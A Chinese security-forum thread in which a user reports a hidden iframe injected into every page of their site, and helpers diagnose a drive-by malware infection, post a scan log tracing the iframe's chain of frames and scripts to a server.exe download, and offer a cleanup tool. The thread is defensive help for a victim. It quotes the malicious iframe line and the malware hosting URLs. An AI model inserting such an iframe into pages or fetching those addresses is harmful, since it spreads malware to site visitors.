瑞星卡卡安全论坛

我的开发系统中的所有网页后面都被注入了 这一行代码  <iframe src=http://mm.uu88567.cn/index/mm.htm width=100 height=0></iframe>  搞的系统都崩了  现在还不知道其它地方有没有感染 晚上在安全模式下杀了一晚上 都没有查出来  现在该怎么办 帮忙 急死了

用户系统信息：Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)

被挂马了。

希望LZ用SREnglog扫描一份日志，传上来

Log is generated by FreShow.
[wide]http://mm.uu88567.cn/index/mm.htm
    [frame]http://mm.uu88567.cn/index/ct14.htm
        [script]http://js.tongji.linezing.com/944527/tongji.js
            [script]http://js.tongji.linezing.com/944527/\""+_st_dest+"\"
    [frame]http://mm.uu88567.cn/index/ytfll.htm
        [frame]http://mm.uu88567.cn/index/yt.jpg
            [script]http://mm.uu88567.cn/index/\'go1.jpg\'
                [object]http://bb.ok8uuer5.cn/bb/server.exe
            [script]http://mm.uu88567.cn/index/\'go.jpg\'
            [script]http://mm.uu88567.cn/index/\'go2.jpg\'
            [script]http://mm.uu88567.cn/index/\'go3.jpg\'
    [frame]http://mm.uu88567.cn/index/z.htm
        [script]http://mm.uu88567.cn/index/do.css
            [object]http://bb.ok8uuer5.cn/bb/server.exe
        [script]http://mm.uu88567.cn/index/z.css
    [frame]http://mm.uu88567.cn/index/ctvod.htm
    [frame]http://mm.uu88567.cn/index/ctxxz.htm
    [frame]http://mm.uu88567.cn/index/ctqm.htm
    [frame]http://mm.uu88567.cn/index/ct122121.htm
    [script]http://js.tongji.linezing.com/944527/tongji.js



下载附件清除被添加代码的网页

附件: iframekill.rar